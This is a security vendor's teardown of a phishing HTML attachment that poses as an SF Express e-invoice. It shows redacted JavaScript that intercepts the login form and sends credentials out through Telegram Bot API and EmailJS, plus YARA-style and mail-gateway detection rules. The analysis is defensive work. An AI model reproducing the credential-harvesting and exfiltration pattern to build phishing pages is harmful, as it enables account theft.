SF Express E-Invoice HTML Phishing Kit: Technical Analysis

An SF Express e-invoice phishing email we analyzed used a self-contained HTML attachment to collect mailbox passwords, enrich the victim profile with IP/geolocation data, exfiltrate the result through Telegram Bot API and EmailJS, then redirect the user to the legitimate SF Express website as a decoy. Static analysis did not show a browser exploit, macro, or drive-by payload in this sample. The proven risk is credential theft, mailbox takeover, password reuse, and downstream invoice/BEC fraud.

This is a reputation and defender-focused teardown, not a generic “do not click attachments” note. The sample is useful because it combines several patterns email-security teams now see often: local HTML phishing, newly registered sender infrastructure, legitimate cloud/form services used as exfiltration channels, and a legitimate final redirect that makes user reports sound less suspicious.

Sample metadata and hashes

The lure body is short and routine: the recipient is told that an SF Express electronic invoice has been generated and that the attachment should be checked. This matters for filtering because the social engineering payload is not in the message body. The payload is the local HTML file.

Email headers and sender infrastructure

The sender domain is not an SF Express domain. RDAP and DNS checks during analysis showed cofoxpft[.]com registered on June 28, 2026, with A and MX records pointing mail flow to 173.254.205.139. The domain also published a narrow SPF policy: v=spf1 mx ip4:173.254.205.139 -all.

Official SF Express warnings have repeatedly told customers to verify sender domains and avoid suspicious attachments or links. That context is consistent with this sample, but the attachment analysis is what proves the credential-theft behavior.

Attachment static triage

The attachment is not a PDF invoice. It is an HTML application that renders a fake Chinese SF Express login page from a local file context. The form uses an email field, a password field, “remember me” style UI, privacy/service checkboxes, and a login button. The email field is prefilled with the recipient address in the sample; the published mockup above replaces it with a neutral example.

The HTML contains no useful form action. Submission is intercepted by JavaScript. That means gateway filters that only check form action destinations can miss the real exfiltration path. The suspicious behavior is in the script block: Base64-decoded constants, form interception, API calls for IP/geolocation, two outbound exfiltration methods, a retry loop, and final redirect logic.

Sequence diagram

The static flow is compact enough to express as a sequence. If your CMS or notebook renders Mermaid, this block becomes a diagram; otherwise it remains a readable hunt map.

sequenceDiagram
    participant User
    participant LocalHTML as sf-express-ikw (1).html
    participant Ipify as api.ipify.org
    participant Ipapi as ipapi.co
    participant Telegram as Telegram Bot API
    participant EmailJS as EmailJS API
    participant SF as Legitimate SF Express site
    User->>LocalHTML: opens HTML attachment
    User->>LocalHTML: enters email password
    LocalHTML->>Ipify: fetch public IP
    LocalHTML->>Ipapi: fetch geolocation
    LocalHTML->>Telegram: send redacted credential report
    LocalHTML->>EmailJS: POST same report
    LocalHTML-->>User: show 密码错误 on early attempts
    LocalHTML->>SF: redirect after repeated attempts

JavaScript deobfuscation: constants and control flow

The kit uses atob() to decode operational constants at runtime. This is light obfuscation, not a packer. It is enough to hide obvious strings from casual inspection while still being easy to recover during static triage.

A redacted version of the submit path looks like this:

// Pseudocode reconstructed from the attachment; attacker secrets removed.
loginForm.addEventListener("submit", function (event) {
  event.preventDefault();
  attempts += 1;

  const email = emailInput.value;
  const password = passwordInput.value;

  collectIpAndGeo()
    .then(context => buildCredentialReport(email, password, context))
    .then(report => {
      sendToTelegram("<redacted bot token>", ["<chat 1>", "<chat 2>"], report);
      postToEmailJS("<service>", "<template>", "<public key>", report);
    });

  if (attempts < 3) {
    showError("密码错误");
  } else {
    window.location.href = "https://www.sf-express.com/chn/en";
  }
});

The formatted report contains the email address, password, browser/user-agent details, location string, public IP, date, derived email domain, and a suggested login URL derived from the email domain. For common mailbox providers, the script maps domains such as Gmail, Outlook, Yahoo, Proton, Zoho, iCloud, GMX, Rediff, Yandex, and Mail.ru to familiar login URLs. For other domains it falls back to https://mail.<domain>.

Exfiltration chain: Telegram and EmailJS

The Telegram branch uses a browser image object to request the Bot API /sendMessage endpoint. That is a useful detection clue because it can move credential data without a visible form action, XHR label, or external fake-login host.

// Deweaponized shape only. Token, chat IDs, and message body removed.
for (const chatId of ["<chat id 1>", "<chat id 2>"]) {
  const img = new Image();
  img.src = "https://api.telegram.org/bot<redacted>/sendMessage"
          + "?chat_id=" + encodeURIComponent(chatId)
          + "&text=" + encodeURIComponent("<redacted report>");
}

The EmailJS branch sends a JSON body to https://api.emailjs.com/api/v1.0/email/send. EmailJS is legitimate developer infrastructure, and Telegram is a legitimate messaging platform. The malicious signal is the combination: a local HTML invoice attachment with a password field, encoded service constants, IP/geolocation enrichment, credential formatting, and two independent exfiltration paths.

AhnLab ASEC documented a very similar Chinese e-invoice subject pattern and an SF e-invoice HTML/PDF masquerade in earlier phishing trends. This sample fits that family, with current infrastructure and a fresh sender domain, while the Telegram and EmailJS details come from the redacted static analysis of the submitted attachment.

Password-error loop and final redirect

The page shows 密码错误 for the first two submissions. That retry loop is operationally useful for attackers because users often try a second password when the first one “fails.” After the third attempt, the script redirects the browser to the legitimate SF Express English site. The redirect does not clean the earlier submissions; it only gives the user a plausible ending.

For responders, this is a reporting trap. A user may say, “It opened the real SF Express site in the end.” That statement can be true and still mean credentials were already sent to Telegram and EmailJS.

Indicators and observables

Detection ideas for SOC and email-security teams

Do not build a rule that only says “SF Express” or only blocks Telegram. The more durable detection is the cluster of behaviors.

A YARA-like static rule for controlled environments could use the following structure. Treat it as a starting point, not a production-ready rule:

rule HTML_Phish_Telegram_EmailJS_IpGeo_SF_Invoice
{
  meta:
    description = "Local HTML credential phishing with Telegram, EmailJS, IP enrichment, and SF e-invoice lure"
  strings:
    $pw = "type="password"" ascii nocase
    $submit = "preventDefault()" ascii
    $b64 = "atob(" ascii
    $tg = "api.telegram.org/bot" ascii
    $emailjs = "api.emailjs.com/api/v1.0/email/send" ascii
    $ipify = "api.ipify.org?format=json" ascii
    $ipapi = "ipapi.co/json" ascii
    $sf = "sf-express.com/chn/en" ascii
    $zh = "密码错误" wide ascii
  condition:
    filesize < 300KB and $pw and $submit and $b64 and 3 of ($tg, $emailjs, $ipify, $ipapi, $sf, $zh)
}

A mail-gateway rule can be less code-centric and more operational:

title: Courier invoice HTML attachment with credential exfiltration indicators
selection:
  attachment_extension: ".html"
  subject_contains_any:
    - "电子发票号码"
    - "e-invoice"
  attachment_contains_all:
    - "type="password""
    - "preventDefault"
  attachment_contains_any:
    - "api.telegram.org"
    - "api.emailjs.com"
    - "api.ipify.org"
    - "ipapi.co"
condition: selection
severity: high

Risk assessment and limits

The static evidence proves credential harvesting intent. It does not prove that the browser was exploited just by previewing the file, and it does not prove a malware dropper in this specific attachment. That distinction matters for incident handling. An opened-only case is not the same as a credential-entered case.

Dynamic analysis was intentionally avoided for publication because calling the live Telegram or EmailJS paths could notify the operator, validate the sample, or expose secrets. Infrastructure verdicts can also change quickly: a domain or API key that is live at analysis time may be blocked later, and a parked domain can change owners or content.

Incident response: opened only vs credentials entered

If the attachment was downloaded or opened on a workstation and there are follow-on detections, suspicious downloads, browser changes, or repeated alerts, scan before you trust the endpoint again. Gridinsoft Anti-Malware can check for downloaded payloads, persistence, unwanted browser changes, and suspicious leftovers around the phishing event.

For broader context on local HTML phishing attachments, use our HTML/Fraud Trojan guide. For a neighboring courier-lure pattern, compare the FedEx and DHL shipping document scam. If you need a user-facing checklist, start with how to spot a phishing email.

FAQ

References

1. AhnLab ASEC. “Weekly Phishing Email Threat Trends.” AhnLab, June 2023, accessed July 5, 2026. https://asec.ahnlab.com/en/54163/
2. SF Express Taiwan. “Important Notice: Malicious Phishing Emails Posing as Taiwan S.F. Express.” SF Express, accessed July 5, 2026. https://htm.sf-express.com/tw/en/news/detail/Important-Notice-Malicious-Phishing-Emails-Posing-as-Taiwan-S.F.-Express/
3. Hong Kong Anti-Deception Coordination Centre. “Fraudulent website related to SFHK.” ADCC, accessed July 5, 2026. https://www.adcc.gov.hk/en-hk/alerts-detail/alerts-1444920519278264322.html